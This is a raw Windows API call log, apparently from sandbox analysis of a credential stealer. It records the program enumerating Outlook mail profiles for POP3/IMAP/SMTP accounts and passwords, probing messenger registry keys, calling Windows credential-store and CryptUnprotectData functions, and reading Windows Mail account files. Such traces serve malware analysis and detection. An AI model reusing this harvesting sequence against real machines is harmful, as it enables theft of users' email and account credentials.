[0085.097] RegEnumKeyExA (in: hKey=0xec, dwIndex=0x3, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="3517490d76624c419a828607e2a54604", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.097] RegOpenKeyExA (in: hKey=0xec, lpSubKey="3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.097] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.097] RegCloseKey (hKey=0xf0) returned 0x0
[0085.097] RegEnumKeyExA (in: hKey=0xec, dwIndex=0x4, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="5820efc9fdbb5f47849ddf6d61a8efbf", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.097] RegOpenKeyExA (in: hKey=0xec, lpSubKey="5820efc9fdbb5f47849ddf6d61a8efbf", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.097] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.097] RegCloseKey (hKey=0xf0) returned 0x0
[0085.097] RegEnumKeyExA (in: hKey=0xec, dwIndex=0x5, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="5822179f3ba9dd4b834ca5b688df58ee", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.097] RegOpenKeyExA (in: hKey=0xec, lpSubKey="5822179f3ba9dd4b834ca5b688df58ee", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.097] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.098] RegCloseKey (hKey=0xf0) returned 0x0
[0085.098] RegEnumKeyExA (in: hKey=0xec, dwIndex=0x6, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="5cf6dc56389a514da4af66e8d249d682", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.098] RegOpenKeyExA (in: hKey=0xec, lpSubKey="5cf6dc56389a514da4af66e8d249d682", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.098] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.098] RegCloseKey (hKey=0xf0) returned 0x0
[0085.098] RegEnumKeyExA (in: hKey=0xec, dwIndex=0x7, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="79245ba6aebb494e8474990b23b0b5d9", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.098] RegOpenKeyExA (in: hKey=0xec, lpSubKey="79245ba6aebb494e8474990b23b0b5d9", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.098] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.098] RegCloseKey (hKey=0xf0) returned 0x0
[0085.098] RegEnumKeyExA (in: hKey=0xec, dwIndex=0x8, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="822186790bcca847a772607001697335", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.098] RegOpenKeyExA (in: hKey=0xec, lpSubKey="822186790bcca847a772607001697335", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.098] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.098] RegCloseKey (hKey=0xf0) returned 0x0
[0085.098] RegEnumKeyExA (in: hKey=0xec, dwIndex=0x9, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="8503020000000000c000000000000046", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.098] RegOpenKeyExA (in: hKey=0xec, lpSubKey="8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.098] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.098] RegCloseKey (hKey=0xf0) returned 0x0
[0085.098] RegEnumKeyExA (in: hKey=0xec, dwIndex=0xa, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="9207f3e0a3b11019908b08002b2a56c2", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.098] RegOpenKeyExA (in: hKey=0xec, lpSubKey="9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.098] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.099] RegCloseKey (hKey=0xf0) returned 0x0
[0085.099] RegEnumKeyExA (in: hKey=0xec, dwIndex=0xb, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="9375CFF0413111d3B88A00104B2A6676", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.099] RegOpenKeyExA (in: hKey=0xec, lpSubKey="9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.099] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="00000001", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x0
[0085.099] RegOpenKeyExA (in: hKey=0xf0, lpSubKey="00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f884 | out: phkResult=0x12f884*=0xf4) returned 0x0
[0085.099] RegQueryValueExA (in: hKey=0xf4, lpValueName="POP3 User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x0, lpData=0x12eed0*=0xd0, lpcbData=0x12f2d4*=0x400) returned 0x2
[0085.099] RegQueryValueExA (in: hKey=0xf4, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x0, lpData=0x12eed0*=0xd0, lpcbData=0x12f2d4*=0x400) returned 0x2
[0085.099] RegQueryValueExA (in: hKey=0xf4, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x0, lpData=0x12eed0*=0xd0, lpcbData=0x12f2d4*=0x400) returned 0x2
[0085.099] RegQueryValueExA (in: hKey=0xf4, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x0, lpData=0x12eed0*=0xd0, lpcbData=0x12f2d4*=0x400) returned 0x2
[0085.099] RegCloseKey (hKey=0xf4) returned 0x0
[0085.099] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x1, lpName=0x12f784, lpcchName=0x12f764, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f75c | out: lpName="00000002", lpcchName=0x12f764, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f75c) returned 0x0
[0085.099] RegOpenKeyExA (in: hKey=0xf0, lpSubKey="00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f884 | out: phkResult=0x12f884*=0xf4) returned 0x0
[0085.099] RegQueryValueExA (in: hKey=0xf4, lpValueName="POP3 User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x1, lpData="dkjvzh@jjjd.com", lpcbData=0x12f2d4*=0x10) returned 0x0
[0085.099] strlen (_Str="dkjvzh@jjjd.com") returned 0xf
[0085.099] _mbscpy (in: param_1=0x12f50c, param_2=0x12f69c | out: param_1=0x12f50c) returned 0x12f50c
[0085.099] RegQueryValueExA (in: hKey=0xf4, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x1, lpData="ffadv", lpcbData=0x12f2d4*=0x6) returned 0x0
[0085.099] strlen (_Str="ffadv") returned 0x5
[0085.099] RegQueryValueExA (in: hKey=0xf4, lpValueName="Display Name", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x1, lpData="djvohe", lpcbData=0x12f2d4*=0x7) returned 0x0
[0085.099] strlen (_Str="djvohe") returned 0x6
[0085.100] RegQueryValueExA (in: hKey=0xf4, lpValueName="Email", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x1, lpData="dkjvzh@jjjd.com", lpcbData=0x12f2d4*=0x10) returned 0x0
[0085.100] strlen (_Str="dkjvzh@jjjd.com") returned 0xf
[0085.100] RegQueryValueExA (in: hKey=0xf4, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x1, lpData="ddvs", lpcbData=0x12f2d4*=0x5) returned 0x0
[0085.100] strlen (_Str="ddvs") returned 0x4
[0085.100] RegQueryValueExA (in: hKey=0xf4, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x12f2d0, lpData=0x12f694, lpcbData=0x12f2d4*=0x4 | out: lpType=0x12f2d0*=0x0, lpData=0x12f694*=0x0, lpcbData=0x12f2d4*=0x4) returned 0x2
[0085.100] RegQueryValueExA (in: hKey=0xf4, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x12f2d0, lpData=0x12f68c, lpcbData=0x12f2d4*=0x4 | out: lpType=0x12f2d0*=0x0, lpData=0x12f68c*=0x0, lpcbData=0x12f2d4*=0x4) returned 0x2
[0085.100] RegQueryValueExA (in: hKey=0xf4, lpValueName="POP3 Use SPA", lpReserved=0x0, lpType=0x12f2c4, lpData=0x12f690, lpcbData=0x12f2c8*=0x4 | out: lpType=0x12f2c4*=0x0, lpData=0x12f690*=0x0, lpcbData=0x12f2c8*=0x4) returned 0x2
[0085.100] RegQueryValueExA (in: hKey=0xf4, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x12e684, lpData=0x12e6c0, lpcbData=0x12e6ac*=0x400 | out: lpType=0x12e684*=0x0, lpData=0x12e6c0*=0x0, lpcbData=0x12e6ac*=0x400) returned 0x2
[0085.100] _mbscpy (in: param_1=0x12f60c, param_2=0x242fe4 | out: param_1=0x12f60c) returned 0x12f60c
[0085.100] _mbscmp (_Str1=0x12f58c, _Str2=0x12f50c) returned -1
[0085.100] strlen (_Str="") returned 0x0
[0085.100] _mbsicmp (_Str1=0x12f58c, _Str2=0x12f50c) returned -1
[0085.100] RegQueryValueExA (in: hKey=0xf4, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x0, lpData=0x12eed0*=0x64, lpcbData=0x12f2d4*=0x400) returned 0x2
[0085.100] RegQueryValueExA (in: hKey=0xf4, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x0, lpData=0x12eed0*=0x64, lpcbData=0x12f2d4*=0x400) returned 0x2
[0085.100] RegQueryValueExA (in: hKey=0xf4, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x0, lpData=0x12eed0*=0x64, lpcbData=0x12f2d4*=0x400) returned 0x2
[0085.100] RegCloseKey (hKey=0xf4) returned 0x0
[0085.101] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x2, lpName=0x12f784, lpcchName=0x12f764, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f75c | out: lpName="00000003", lpcchName=0x12f764, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f75c) returned 0x0
[0085.101] RegOpenKeyExA (in: hKey=0xf0, lpSubKey="00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f884 | out: phkResult=0x12f884*=0xf4) returned 0x0
[0085.101] RegQueryValueExA (in: hKey=0xf4, lpValueName="POP3 User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x0, lpData=0x12eed0*=0x64, lpcbData=0x12f2d4*=0x400) returned 0x2
[0085.101] RegQueryValueExA (in: hKey=0xf4, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x0, lpData=0x12eed0*=0x64, lpcbData=0x12f2d4*=0x400) returned 0x2
[0085.101] RegQueryValueExA (in: hKey=0xf4, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x0, lpData=0x12eed0*=0x64, lpcbData=0x12f2d4*=0x400) returned 0x2
[0085.101] RegQueryValueExA (in: hKey=0xf4, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12f2d8, lpData=0x12eed0, lpcbData=0x12f2d4*=0x400 | out: lpType=0x12f2d8*=0x0, lpData=0x12eed0*=0x64, lpcbData=0x12f2d4*=0x400) returned 0x2
[0085.101] RegCloseKey (hKey=0xf4) returned 0x0
[0085.101] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x3, lpName=0x12f784, lpcchName=0x12f764, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f75c | out: lpName="00000003", lpcchName=0x12f764, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f75c) returned 0x103
[0085.101] RegCloseKey (hKey=0xf0) returned 0x0
[0085.101] RegEnumKeyExA (in: hKey=0xec, dwIndex=0xc, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="b76d3b10d1949342bbbb36b682c4ceca", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.101] RegOpenKeyExA (in: hKey=0xec, lpSubKey="b76d3b10d1949342bbbb36b682c4ceca", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.101] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.101] RegCloseKey (hKey=0xf0) returned 0x0
[0085.101] RegEnumKeyExA (in: hKey=0xec, dwIndex=0xd, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.101] RegOpenKeyExA (in: hKey=0xec, lpSubKey="f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.101] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.101] RegCloseKey (hKey=0xf0) returned 0x0
[0085.101] RegEnumKeyExA (in: hKey=0xec, dwIndex=0xe, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x103
[0085.101] RegCloseKey (hKey=0xec) returned 0x0
[0085.101] RegEnumKeyExA (in: hKey=0xe8, dwIndex=0x1, lpName=0x12f9b4, lpcchName=0x12f994, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f98c | out: lpName="Outlook", lpcchName=0x12f994, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f98c) returned 0x103
[0085.102] RegCloseKey (hKey=0xe8) returned 0x0
[0085.102] FreeLibrary (hLibModule=0x72810000) returned 1
[0085.103] FreeLibrary (hLibModule=0x757b0000) returned 1
[0085.104] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\IncrediMail\\Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fac4 | out: phkResult=0x12fac4*=0x0) returned 0x2
[0085.104] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\IncrediMail\\Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fac4 | out: phkResult=0x12fac4*=0x0) returned 0x2
[0085.105] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Group Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f870 | out: phkResult=0x12f870*=0x0) returned 0x2
[0085.105] _mbscpy (in: param_1=0x12f9ab, param_2=0x413fc4 | out: param_1=0x12f9ab) returned 0x12f9ab
[0085.105] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\MSNMessenger", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f69c | out: phkResult=0x12f69c*=0x0) returned 0x2
[0085.105] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\MessengerService", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f698 | out: phkResult=0x12f698*=0x0) returned 0x2
[0085.105] _mbscpy (in: param_1=0x12f53b, param_2=0x413fc4 | out: param_1=0x12f53b) returned 0x12f53b
[0085.105] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76030000
[0085.105] GetProcAddress (hModule=0x76030000, lpProcName="CredReadA") returned 0x760771c1
[0085.105] GetProcAddress (hModule=0x76030000, lpProcName="CredFree") returned 0x7603b2ec
[0085.105] GetProcAddress (hModule=0x76030000, lpProcName="CredDeleteA") returned 0x76077941
[0085.105] GetProcAddress (hModule=0x76030000, lpProcName="CredEnumerateA") returned 0x76077381
[0085.105] GetProcAddress (hModule=0x76030000, lpProcName="CredEnumerateW") returned 0x76077481
[0085.105] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x757b0000
[0085.109] GetProcAddress (hModule=0x757b0000, lpProcName="CryptUnprotectData") returned 0x757e5a7f
[0085.109] CredReadA (in: TargetName="Passport.Net\\*", Type=0x4, Flags=0x0, Credential=0x12f67c | out: Credential=0x12f67c) returned 0
[0085.131] FreeLibrary (hLibModule=0x76030000) returned 1
[0085.131] FreeLibrary (hLibModule=0x757b0000) returned 1
[0085.132] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Yahoo\\Pager", ulOptions=0x0, samDesired=0x20019, phkResult=0x12eefc | out: phkResult=0x12eefc*=0x0) returned 0x2
[0085.132] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\IdentityCRL", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ea90 | out: phkResult=0x12ea90*=0x0) returned 0x2
[0085.132] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76030000
[0085.132] GetProcAddress (hModule=0x76030000, lpProcName="CredReadA") returned 0x760771c1
[0085.133] GetProcAddress (hModule=0x76030000, lpProcName="CredFree") returned 0x7603b2ec
[0085.133] GetProcAddress (hModule=0x76030000, lpProcName="CredDeleteA") returned 0x76077941
[0085.133] GetProcAddress (hModule=0x76030000, lpProcName="CredEnumerateA") returned 0x76077381
[0085.133] GetProcAddress (hModule=0x76030000, lpProcName="CredEnumerateW") returned 0x76077481
[0085.133] CredEnumerateW (in: Filter="WindowsLive:name=*", Flags=0x0, Count=0x12f790, Credential=0x12f794 | out: Count=0x12f790, Credential=0x12f794) returned 0
[0085.133] FreeLibrary (hLibModule=0x76030000) returned 1
[0085.133] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x12f7a0, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 1
[0085.134] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0085.134] strlen (_Str="\\Microsoft\\Windows Mail") returned 0x17
[0085.134] _mbscat (in: param_1=0x12f7c1, param_2=0x4154f4 | out: param_1=0x12f7c1) returned 0x12f7c1
[0085.134] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.134] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.134] strlen (_Str="*.oeaccount") returned 0xb
[0085.134] _mbscpy (in: param_1=0x12ed64, param_2=0x12f12c | out: param_1=0x12ed64) returned 0x12ed64
[0085.134] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.134] _mbscat (in: param_1=0x12ed64, param_2=0x414078 | out: param_1=0x12ed64) returned 0x12ed64
[0085.134] _mbscat (in: param_1=0x12ed64, param_2=0x4154e8 | out: param_1=0x12ed64) returned 0x12ed64
[0085.135] FindFirstFileA (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\*.oeaccount", lpFindFileData=0x12eea8 | out: lpFindFileData=0x12eea8) returned 0x265da0
[0085.166] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.166] strlen (_Str="account{81FF0B87-DBD4-46A5-A9FF-EF000B2F9024}.oeaccount") returned 0x37
[0085.166] _mbscpy (in: param_1=0x12efe8, param_2=0x12f12c | out: param_1=0x12efe8) returned 0x12efe8
[0085.166] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.166] _mbscat (in: param_1=0x12efe8, param_2=0x414078 | out: param_1=0x12efe8) returned 0x12efe8
[0085.166] _mbscat (in: param_1=0x12efe8, param_2=0x12eed4 | out: param_1=0x12efe8) returned 0x12efe8
[0085.166] CreateFileA (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\account{81FF0B87-DBD4-46A5-A9FF-EF000B2F9024}.oeaccount" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows mail\\account{81ff0b87-dbd4-46a5-a9ff-ef000b2f9024}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xec
[0085.167] GetFileSize (in: hFile=0xec, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5e4
[0085.167] SetFilePointer (in: hFile=0xec, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2
[0085.167] ReadFile (in: hFile=0xec, lpBuffer=0x1214c68, nNumberOfBytesToRead=0x5e2, lpNumberOfBytesRead=0x12ed24, lpOverlapped=0x0 | out: lpBuffer=0x1214c68*, lpNumberOfBytesRead=0x12ed24*=0x5e2, lpOverlapped=0x0) returned 1
[0085.198] wcslen (_String="\r\n\r\n 00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program Files\\Common Files\\Services\\verisign.bmp\r\n\r\n") returned 0x2f1
[0085.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n\r\n 00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program Files\\Common Files\\Services\\verisign.bmp\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x24fab0, cbMultiByte=754, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\r\n 00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program Files\\Common Files\\Services\\verisign.bmp\r\n\r\n", lpUsedDefaultChar=0x0) returned 754
[0085.198] strlen (_Str="\r\n\r\n 00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program Files\\Common Files\\Services\\verisign.bmp\r\n\r\n") returned 0x2f1
[0085.199] strlen (_Str="version") returned 0x7
[0085.199] strlen (_Str="1.0") returned 0x3
[0085.199] strlen (_Str="encoding") returned 0x8
[0085.199] strlen (_Str="utf-16") returned 0x6
[0085.199] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.199] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.199] strlen (_Str="type") returned 0x4
[0085.199] strlen (_Str="DWORD") returned 0x5
[0085.199] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
